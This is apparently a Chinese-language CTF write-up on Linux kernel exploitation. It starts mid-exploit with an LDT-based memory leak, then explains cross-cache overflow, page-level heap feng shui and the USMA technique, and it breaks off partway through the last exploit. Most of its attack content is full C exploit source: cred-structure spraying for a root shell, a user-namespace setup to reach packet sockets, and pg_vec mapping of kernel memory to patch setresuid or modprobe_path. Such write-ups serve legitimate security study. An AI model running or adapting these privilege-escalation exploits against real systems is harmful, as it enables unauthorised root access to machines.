<sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <ctype.h> #include <stdint.h> #include <asm/ldt.h> #define SECONDARY_STARTUP_64 0xffffffff81000060 void err_msg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void output_msg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void print_addr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); output_msg("Process binded to core" ); } struct Node { int idx; int size; char *buf; }; int rwfd;void alloc (int idx, int size, char * buf) { struct Node node = {.idx = idx, size = size, .buf = buf}; ioctl(rwfd, 0xDEADBEEF , &node); } void delete (int idx) { struct Node node = {.idx = idx}; ioctl(rwfd, 0xC0DECAFE , &node); } int main () { int retval; char *buf; uint64_t temp; int pipe_fd[2 ]; size_t ldt_buf[2 ]; struct user_desc desc ; uint64_t secondary_startup_64; uint64_t search_addr, result_addr = -1 ; uint64_t page_offset_base = 0xffff888000000000 ;; uint64_t kernel_base = 0xffffffff81000000 , kernel_offset; desc.base_addr = 0xff0000 ; desc.entry_number = 0x8000 / 8 ; desc.limit = 0 ; desc.seg_32bit = 0 ; desc.contents = 0 ; desc.limit_in_pages = 0 ; desc.lm = 0 ; desc.read_exec_only = 0 ; desc.seg_not_present = 0 ; desc.useable = 0 ; rwfd = open("/dev/rwctf" , O_RDONLY); alloc(0 , 0x10 , "henryhenry" ); delete(0 ); syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc)); output_msg("leak kernel direct mapping area by modify_ldt()" ); while (1 ) { ldt_buf[0 ] = page_offset_base; ldt_buf[1 ] = 0x8000 / 8 ; delete(0 ); alloc(0 , 0x10 , ldt_buf); retval = syscall(SYS_modify_ldt, 0 , &temp, 8 ); if (retval > 0 ) { printf ("[-] read data: %llx\n" , temp); break ; } else if (retval == 0 ) { err_msg("no mm->context.ldt!" ); } page_offset_base += 0x10000000 ; } printf ("\033[32m\033[1m[+] Found page_offset_base: \033[0m%llx\n" , page_offset_base); ldt_buf[0 ] = page_offset_base + 0x9d000 ; ldt_buf[1 ] = 0x8000 / 8 ; delete(0 ); alloc(0 , 0x10 , ldt_buf); syscall(SYS_modify_ldt, 0 , &secondary_startup_64, 8 ); kernel_offset = secondary_startup_64 - SECONDARY_STARTUP_64; kernel_base += kernel_offset; printf ("\033[34m\033[1m[*]Get addr of secondary_startup_64: \033[0m%llx\n" , secondary_startup_64); printf ("\033[34m\033[1m[+] kernel_base: \033[0m%llx\n" , kernel_base); printf ("\033[34m\033[1m[+] kernel_offset: \033[0m%llx\n" , kernel_offset); search_addr = page_offset_base; pipe(pipe_fd); buf = (char *) mmap(NULL , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); while (1 ) { ldt_buf[0 ] = search_addr; ldt_buf[1 ] = 0x8000 / 8 ; delete(0 ); alloc(0 , 0x10 , ldt_buf); if (!fork()) { char *find_addr; syscall(SYS_modify_ldt, 0 , buf, 0x8000 ); find_addr = memmem(buf, 0x8000 , "rwctf{" , 6 ); if (find_addr) { output_msg("hope this is right flag addr" ); for (int i = 0 ; i < 100 ; i++){ if (find_addr[i] == '}' ) result_addr = search_addr + (uint64_t )(find_addr - buf); } } write(pipe_fd[1 ], &result_addr, 8 ); exit (0 ); } wait(NULL ); read(pipe_fd[0 ], &result_addr, 8 ); if (result_addr != -1 ) { break ; } search_addr += 0x8000 ; } printf ("\033[34m\033[1m[+] flag found at addr: \033[0m%llx\n" , result_addr); ldt_buf[0 ] = result_addr; ldt_buf[1 ] = 0x8000 / 8 ; delete(0 ); alloc(0 , 0x10 , ldt_buf); syscall(SYS_modify_ldt, 0 , buf, 0x100 ); printf ("flag ==> %s\n" , buf); system("/bin/sh" ); return 0 ; }
Cross-Cache Overflow 介绍 Cross-Cache Overflow 是针对 buddy system 即 linux 下的伙伴系统进行利用的一种方式,与我们前面学过的 HeapOverflow 类似,但这里 overflow 的对象不在局限于一个 slab 内,而是跟它的名字一样 cross-cache,实际上我们可以理解为就是在两个相邻的页上实现 overflow ,通常情况下,位置靠前的页放可以溢出的 object,而后一张页用来存放我们溢出的对象(放张大佬的图如下:)。
Cross-Cache Overflow 打破了不同 kmem_cache 之间的阻碍,可以让我们的溢出漏洞对近乎任意的内核结构体进行覆写
Page-level Heap Fengshui 页级堆风水,需要对 buddy system 的内存分配机制有一些了解。
参考链接:https://blog.csdn.net/tombaby_come/article/details/133991165
在伙伴系统中,将多个页面组成内存块,每个内存块都有2的方幂个页,方幂的指数被称为阶(即为order)。在操作内存时,经常将这些内存块分成大小相等的两个块,分成的两个内存块被称为伙伴块。
数组 frea_area[0] 指向的链表就是 0 阶链表,他携带的内存块都是 1 (2 ^ 0)个页面,数组frea_area[3]指向的链表是3阶链表,它挂的都是 8(2 ^ 3)个页大小的内存块(这 8 页的内存块是连续的 )。以此类推。
相同 order 间的空闲页面构成双向链表。
下面再来看看当某一个 order 对应的 free_area 数组中没有足够的页时,将会将高阶 order 取一份连续内存页拆成两半 ,其中一半返回给低阶 order 链表,另一半返还给上层调用者。
利用思路:
向 buddy system 请求两份连续的内存页
释放其中一份内存页,在 vulnerable kmem_cache
上堆喷,让其取走这份内存页
释放另一份内存页,在 victim kmem_cache
上堆喷,让其取走这份内存页
此时我们便有可能溢出到其他的内核结构体上,从而完成 cross-cache overflow
使用 setsockopt 与 pgv 完成页级内存占位与堆风水 参考链接:https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#%E4%BE%8B%E9%A2%98%EF%BC%9AcorCTF2022-cache-of-castaways
参考链接:https://zhuanlan.zhihu.com/p/345901595
关于这部分内容上面两个博客已经讲的比较清楚了,实际上是可以理解为我们可以通过这种手段来进行以连续页为单位的申请和释放。
例题:corCTF2022 - cache-of-castaways 数据传输结构体
1 2 3 4 5 struct castaway_req { __int64 idx; __int64 size; char * data; };
静态分析 给了两个功能,一个 alloc 和 一个edit,object 的分配是从专门的 castaway_cahep 的 slab 中进行分配。
可以看到模块在初始化时注册了设备并创建了一个 kmem_cache,分配的 object 的 size 为512,创建 flag 为 SLAB_ACCOUNT | SLAB_PANIC
,同时开启了 CONFIG_MEMCG_KMEM = y
,意味着这是一个独立的 kmem_cache。
漏洞点
memcpy 的时候从对应地址 +6 处开始复制,导致我们可以6字节任意内容溢出,经测试有效。
但我们前面有提到,分配的 object 都是来自同一个 kmem_cache,显然我们只在一个 slab 中进行6字节的内容溢出是没有用的,溢出的 object 还是我们 alloc 得到的 object。
这时候就需要通过页级堆风水,跨页实现 Overflow,控制我们溢出的6个字节是另外一个页中保存的结构体(像这里我们就采用的是通过这六个字节溢出 cred 结构体 uid 字段,完成提权)。
动态分析 由于这道题里面使用了大量的堆喷,所以对我们的调试增大了难度,因为我们无法确定在溢出哪一个 object 时,成功覆盖了 cred 的 uid 字段,所以这里我尽量会结合一些图进行说明,使读者更加容易理解这种方法。
假设上图为我们此时 buddy system 的一个初始状态,其中每个内存块都是可用状态,可以发现在 order 为1 时每一个块有两个连续的页面,order 为 2 时有 4 个连续的页面,可以发现随着 order 的增加连续页面的数量也越来越多,而我们的 cross-cache-overflow 就是需要尽可能多的这种连续页面的情况,以增大我们成功 overflow 到目标 kmem-cache 上,为此我们需要将低阶 order 上的页面全部申请出来,直到高阶 order 的页面(在这道题中在申请数量为 1000 时,即可申请到高阶 order 的内存块)。
step 1:get free pages as many as possible which come from low order
1 2 3 4 5 6 7 8 9 10 11 if (!fork()){ spray_cmd_handler(); exit (EXIT_SUCCESS); } output_msg("Spraying as many as possible low order pages" ); for (int i = 0 ; i < PGV_PAGE_NUM; i++){ if (alloc_page(i) < 0 ){ output_msg("invalid alloc_page" ); } }
上述代码即为通过 setsockopt 与 pgv 完成页级堆喷,我们假设代码执行完时的情况如下图所示,红色部分为被申请的内存块,此时 order 6 中的内存块可以保证有 64 个连续页面,order 5 也可以保证有 32 个连续页面。
注意:实际申请中我们的高阶 order 的内存块在一次申请中有剩余时,会将剩余部分加入到低阶order中,所以下图为助于读者理解仅反映是否被申请,并不反映实际 free_area 数组中分布情况。
step2:release the half of pages we alloc before to place struct cred
1 2 3 4 5 6 7 8 9 10 11 12 output_msg("Realse the half of pages for cred" ); for (int i = 1 ; i < PGV_PAGE_NUM; i += 2 ){ if (free_page(i) < 0 ){ err_msg("invalid free_page" ); } }
注意在这一步中我们释放了之前申请的奇数页的 page,而且有一个小细节我们是从前往后释放的,而 buddy system 中 free_area 数组采用的是头插法插入双链表中,这也就意味着后释放的 page 会放在链表前面,而且我们也要注意到后面这些释放的 page 大概率是页面连续的(有噪音影响),且由于此时这些奇数页 page 的伙伴都在使用状态,所以在 free_page 之后这些页面将加入到 order 0 的双链表中。(下图只反应近似情况帮助读者理解)
999,997,995 这些页面大概率都是与 998,996,994 这些页面连续的(都来自高阶order)。
step3:spraying struct creds make sure they are alloced from the page we just free
1 2 3 4 5 6 7 8 9 output_msg("Spraying child creds..." ); pipe(check_root_pipe); for (int i = 0 ; i < CRED_SPRAY_NUM; i++){ if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0 ){ err_msg("fail to clone child" ); } }
每个 cred 都会从 192B 的 cache 中分配,所以每一个页面大概可以分配 20 个 cred 结构体,这里 CRED_SPRAY_NUM 为 512,所以我们需要从 order 0 处申请大约 25 个左右的页面(从999处开始申请)。
step4:release the other half of pages to place castaway_object
1 2 3 4 5 6 7 output_msg("Realse the half of pages for vulnerable objects" ); for (int i = 0 ; i < PGV_PAGE_NUM; i += 2 ){ if (free_page(i) < 0 ){ err_msg("invalid free_page" ); } }
这一步与前面的 step 2类似,只不过前面 free_page 是为了分配给 cred,而在这一步我们 free_page 是为了分配给 castaway 中的 object。相信读者看到这里也已经开始大致明白了,我们为什么之前间隔性的释放 page,为的就是我们这一步释放的 page 与前面存放 cred 的 page 相邻,从而使得我们可以利用溢出的 6 个字节到 cred page 中覆盖 uid 字段。(释放后的 order 0 双链表如下)
结合这张图大家应该就明白了我们 Cross-Cache Overflow 的精髓,此时申请到的 998 我们溢出刚好可以覆盖到 999 处存放的 cred 结构体,当然实际情况中由于噪音的影响我们需要进行多次相邻页面的溢出才能够保证成功率。
step5:alloc plenty of castaway_objects which come from the page just freed
1 2 3 4 5 6 7 8 9 10 11 12 output_msg("Spraying vul object and edit it to overflow cross cache" ); memset (buf, '\0' , sizeof (buf));*(uint32_t *)&buf[VUL_OBJ_SIZE - 6 ] = 1 ; for (int i = 0 ; i < VUL_OBJ_NUM; i++){ if (alloc() < 0 ){ err_msg("fail to alloc object" ); } if (edit(i, VUL_OBJ_SIZE, buf) < 0 ){ err_msg("fail to edit object" ); } }
这一步实际上完成的就是申请和 edit 溢出操作了,前面已经说的较为详细不做过多说明。
step6: child process is waiting for checking root
1 2 3 4 output_msg("Child processes begin to check whether it is root" ); write(check_root_pipe[1 ], buf, CRED_SPRAY_NUM); sleep(999999 );
这一步通过管道实现父进程和多个子进程之间的同步操作,可以让前面 spray 的多个子进程检查自己 uid 是否已经成功被覆盖为了 0。
由于这种堆喷调起来比较麻烦,所以这里就不展示具体调试细节。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <sched.h> #include <time.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/wait.h> #define PGV_PAGE_NUM 1000 #define PGV_CRED_START (PGV_PAGE_NUM / 2) #define CRED_SPRAY_NUM 514 #define PACKET_VERSION 10 #define PACKET_TX_RING 13 #define VUL_OBJ_NUM 400 #define VUL_OBJ_SIZE 512 #define VUL_OBJ_PER_SLUB 8 #define VUL_OBJ_SLUB_NUM (VUL_OBJ_NUM / VUL_OBJ_PER_SLUB) struct tpacket_req { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; }; enum tpacket_versions { TPACKET_V1, TPACKET_V2, TPACKET_V3, }; struct page_request { int idx; int cmd; }; enum { CMD_ALLOC_PAGE, CMD_FREE_PAGE, CMD_EXIT, }; struct timespec timer = { .tv_sec = 1145141919 , .tv_nsec = 0 , }; int dev_fd;int cmd_pipe_req[2 ], cmd_pipe_reply[2 ], check_root_pipe[2 ];char bin_sh_str[] = "/bin/sh" ;char *shell_args[] = { bin_sh_str, NULL };char child_pipe_buf[1 ];char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n" "\033[34m[*] Execve root shell now...\033[0m\n" ; int waiting_for_root_fn (void *args) { __asm__ volatile ( " lea rax, [check_root_pipe]; " " xor rdi, rdi; " " mov edi, dword ptr [rax]; " " mov rsi, child_pipe_buf; " " mov rdx, 1; " " xor rax, rax; " " syscall; " " mov rax, 102; " " syscall; " " cmp rax, 0; " " jne failed; " " mov rdi, 1; " " lea rsi, [root_str]; " " mov rdx, 80; " " mov rax, 1;" " syscall; " " lea rdi, [bin_sh_str]; " " lea rsi, [shell_args]; " " xor rdx, rdx; " " mov rax, 59; " " syscall; " "failed: " " lea rdi, [timer]; " " xor rsi, rsi; " " mov rax, 35; " " syscall; " ) ; return 0 ; } void unshare_setup (void ) { char edit[0x100 ]; int tmp_fd; unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); tmp_fd = open("/proc/self/setgroups" , O_WRONLY); write(tmp_fd, "deny" , strlen ("deny" )); close(tmp_fd); tmp_fd = open("/proc/self/uid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getuid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); tmp_fd = open("/proc/self/gid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getgid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); } int create_socket_and_alloc_pages (unsigned int size, unsigned int nr) { struct tpacket_req req ; int socket_fd, version; int ret; socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0 ) { printf ("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n" ); ret = socket_fd; goto err_out; } version = TPACKET_V1; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof (version)); if (ret < 0 ) { printf ("[x] failed at setsockopt(PACKET_VERSION)\n" ); goto err_setsockopt; } memset (&req, 0 , sizeof (req)); req.tp_block_size = size; req.tp_block_nr = nr; req.tp_frame_size = 0x1000 ; req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof (req)); if (ret < 0 ) { printf ("[x] failed at setsockopt(PACKET_TX_RING)\n" ); goto err_setsockopt; } return socket_fd; err_setsockopt: close(socket_fd); err_out: return ret; } __attribute__((naked)) long simple_clone (int flags, int (*fn)(void *)) { __asm__ volatile ( " mov r15, rsi; " " xor rsi, rsi; " " xor rdx, rdx; " " xor r10, r10; " " xor r8, r8; " " xor r9, r9; " " mov rax, 56; " " syscall; " " cmp rax, 0; " " je child_fn; " " ret; " "child_fn: " " jmp r15; " ) ;} int alloc_page (int idx) { struct page_request req = { .idx = idx, .cmd = CMD_ALLOC_PAGE, }; int ret; write(cmd_pipe_req[1 ], &req, sizeof (struct page_request)); read(cmd_pipe_reply[0 ], &ret, sizeof (ret)); return ret; } int free_page (int idx) { struct page_request req = { .idx = idx, .cmd = CMD_FREE_PAGE, }; int ret; write(cmd_pipe_req[1 ], &req, sizeof (req)); read(cmd_pipe_reply[0 ], &ret, sizeof (ret)); return ret; } void spray_cmd_handler (void ) { struct page_request req ; int socket_fd[PGV_PAGE_NUM]; int ret; unshare_setup(); do { read(cmd_pipe_req[0 ], &req, sizeof (req)); if (req.cmd == CMD_ALLOC_PAGE) { ret = create_socket_and_alloc_pages(0x1000 , 1 ); socket_fd[req.idx] = ret; } else if (req.cmd == CMD_FREE_PAGE) { ret = close(socket_fd[req.idx]); } else { printf ("[x] invalid request: %d\n" , req.cmd); } write(cmd_pipe_reply[1 ], &ret, sizeof (ret)); } while (req.cmd != CMD_EXIT); } void err_msg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void output_msg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void print_addr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); output_msg("Process binded to core" ); } struct castaway_req { size_t idx; size_t size; char * data; }; int castawayfd;int alloc () { return ioctl(castawayfd, 0xCAFEBABE ); } int edit (int idx, int size, char * data) { struct castaway_req req = { .idx = idx, .size = size, .data = data, }; return ioctl(castawayfd, 0xF00DBABE , &req); } int main () { char buf[1000 ]; bind_core(0 ); pipe(cmd_pipe_req); pipe(cmd_pipe_reply); castawayfd = open("/dev/castaway" , O_RDONLY); if (!fork()){ spray_cmd_handler(); exit (EXIT_SUCCESS); } output_msg("Spraying as many as possible low order pages" ); for (int i = 0 ; i < PGV_PAGE_NUM; i++){ if (alloc_page(i) < 0 ){ output_msg("invalid alloc_page" ); } } output_msg("Realse the half of pages for cred" ); for (int i = 1 ; i < PGV_PAGE_NUM; i += 2 ){ if (free_page(i) < 0 ){ err_msg("invalid free_page" ); } } output_msg("Spraying child creds..." ); pipe(check_root_pipe); for (int i = 0 ; i < CRED_SPRAY_NUM; i++){ if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0 ){ err_msg("fail to clone child" ); } } output_msg("Realse the half of pages for vulnerable objects" ); for (int i = 0 ; i < PGV_PAGE_NUM; i += 2 ){ if (free_page(i) < 0 ){ err_msg("invalid free_page" ); } } output_msg("Spraying vul object and edit it to overflow cross cache" ); memset (buf, '\0' , sizeof (buf)); *(uint32_t *)&buf[VUL_OBJ_SIZE - 6 ] = 1 ; for (int i = 0 ; i < VUL_OBJ_NUM; i++){ if (alloc() < 0 ){ err_msg("fail to alloc object" ); } if (edit(i, VUL_OBJ_SIZE, buf) < 0 ){ err_msg("fail to edit object" ); } } output_msg("Child processes begin to check whether it is root" ); write(check_root_pipe[1 ], buf, CRED_SPRAY_NUM); sleep(999999 ); return 0 ; }
USMA(用户态映射攻击) 参考链接:https://vul.360.net/archives/391
参考链接:https://blingblingxuanxuan.github.io/2023/04/01/230401-n1ctf2022-pwn-praymoon/
参考链接:https://blog.csdn.net/qq_61670993/article/details/135865057?spm=1001.2014.3001.5502
这里主要通过这道题来介绍USMA的利用手法,不得不说 USMA 的出现使得一些利用变得极其简单。
USMA 本身这个技巧利用方法非常简单,但是包含的知识很多,其中主要是 ring buffer 相关的 packet_ring_buffer
的知识,,ring buffer 源自一个内核网络协议栈,它同时也可以帮助我们来进行页级堆占位,但这里我们着重说它的 USMA 利用手法。
如上代码所示,为了加速数据在用户态和内核态的传输,packet socket可以创建一个共享环形缓冲区,这个环形缓冲区通过alloc_pg_vec()创建。
可以注意到的是 pg_vec 通过 kcalloc 进行分配,分配 flag 为 GFP_KERNEL
,这也说明其不会从独立的 cg kmem 中进行分配,这里在说明一下 pg_vec 数组中保存的是什么,
pg_vec实际上是一个保存着连续物理页的虚拟地址的数组,而这些虚拟地址会被packet_mmap()函数所使用,packet_mmap()将这些内核虚拟地址代表的物理页映射进用户态,这样普通用户就能在用户态对这些物理页直接进行读写。
https://elixir.bootlin.com/linux/latest/source/net/packet/af_packet.c#L4556
USMA用到了三个系统调用:
setsockopt
mmap
setresuid
前两个搭配可以更改内核任意代码段逻辑。
以setresuid为例,改掉 __sys_setresuid()
中if判断(或者改ns_capable_setid()
的返回值,固定成1),使任意用户可以通过setresuid(0,0,0)
将自己的uid改成0,即获得root权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid){ if (!ns_capable_setid(old->user_ns, CAP_SETUID)) { if (ruid != (uid_t ) -1 && !uid_eq(kruid, old->uid) && !uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid)) goto error; if (euid != (uid_t ) -1 && !uid_eq(keuid, old->uid) && !uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid)) goto error; if (suid != (uid_t ) -1 && !uid_eq(ksuid, old->uid) && !uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid)) goto error; } }
调用链 packet_setsockopt:
entry_SYSCALL_64_after_hwframe()
-> do_syscall_64()
-> __x64_sys_setsockopt()
-> __sys_setsockopt()
-> packet_setsockopt()
-> packet_set_ring()
-> alloc_pg_vec()
-> 申请n个struct pgv
结构体
1 2 3 struct pgv { char *buffer; };
packet_mmap:
entry_SYSCALL_64_after_hwframe()
-> do_syscall_64()
-> _x64_sys_mmap()
-> ksys_mmap_pgoff()
-> vm_mmap_pgoff()
-> do_mmap()
-> mmap_region()
-> call_mmap()
-> sock_mmap()
-> packet_mmap()
-> vm_insert_page()
-> validate_page_before_insert()
-> 将pgv中虚拟地址对应的物理页映射到用户态
例题:pwnhub3月-kheap 静态分析
题目实现了一个 0x20 大小的菜单堆功能,有个类似 UAF 的功能,就是 kfree 之后,仍然可以通过read,write对chunk进行操作。
动态分析 1 2 packet_fd = pagealloc_pad(0x20/8, 4096); //get idx1
通过上面命令的执行获取到 UAF 的块,然后将 pg_vec 中对应的虚拟地址改为我们想要修改的内核地址就可以完成任意写,读。
通过下面这张图我们可以发现 mmap 映射的页和我们内核地址下的页内容是相同的,这也说明我们成功将内核代码段的内容映射到了用户态,并且可读可写,这是非常强大的,我们甚至可以用来修改内核代码段指令,在这道题中我们采用的是打 modprobe_path
注意事项: 需要注意的是低权限用户无法使用 pgv 相关函数,可以通过开辟新的命名空间来绕过该限制(exp中的unshare_setup)。
最后效果如下:
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/user.h> #include <sys/msg.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <ctype.h> #include <stdint.h> #include <sys/socket.h> #include <linux/if_packet.h> #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif void err_msg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void output_msg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void print_addr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } size_t user_cs,user_ss,user_sp,user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); output_msg("Process binded to core" ); } void get_root_shell () { output_msg("back from kernelspace" ); if (!getuid()) { output_msg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else err_msg("FAIL TO GET ROOT" ); } void print_binary (void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0 ; i < len / 8 ; i += 2 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 2 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 16 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } struct kheap_req { size_t idx; char * buf; }; int kheap_fd, stat_fd;void add (size_t idx) { struct kheap_req req = {.idx = idx}; ioctl(kheap_fd, 0x10000 , &req); } void delete (size_t idx) { struct kheap_req req = {.idx = idx}; ioctl(kheap_fd, 0x10001 , &req); } void set_select (size_t idx) { struct kheap_req req = {.idx = idx}; ioctl(kheap_fd, 0x10002 , &req); } void unshare_setup (void ) { char edit[0x100 ]; int tmp_fd; if (unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_msg("FAILED to create a new namespace" ); tmp_fd = open("/proc/self/setgroups" , O_WRONLY); write(tmp_fd, "deny" , strlen ("deny" )); close(tmp_fd); tmp_fd = open("/proc/self/uid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getuid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); tmp_fd = open("/proc/self/gid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getgid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); } void packet_socket_rx_ring_init (int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof (v)); if (rv < 0 ) puts ("setsockopt(PACKET_VERSION)" ), exit (1 ); struct tpacket_req3 req ; memset (&req, 0 , sizeof (req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0 ; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof (req)); if (rv < 0 ) perror("setsockopt(PACKET_RX_RING)" ), exit (1 ); } int packet_socket_setup (unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0 ) puts ("socket(AF_PACKET)" ), exit (1 ); packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa ; memset (&sa, 0 , sizeof (sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo" ); sa.sll_hatype = 0 ; sa.sll_pkttype = 0 ; sa.sll_halen = 0 ; int rv = bind(s, (struct sockaddr *)&sa, sizeof (sa)); if (rv < 0 ) puts ("bind(AF_PACKET)" ), exit (1 ); return s; } int pagealloc_pad (int count, int size) { return packet_socket_setup(size, 2048 , count, 0 , 100 ); } #define root_script_path "/home/get_privilege_flag" char * instruction = "#!/bin/sh\nchmod 777 /flag" ;void get_flag () { int root_script_fd = open(root_script_path, O_RDWR | O_CREAT, 0777 ); if (root_script_fd < 0 ) err_msg("fail to create " root_script_path); output_msg("Success to create " root_script_path); write(root_script_fd, instruction, 0x1a ); close(root_script_fd); system("chmod 777 " root_script_path); system("echo '\xff\xff\xff\xff' > /home/fake" ); system("chmod +x 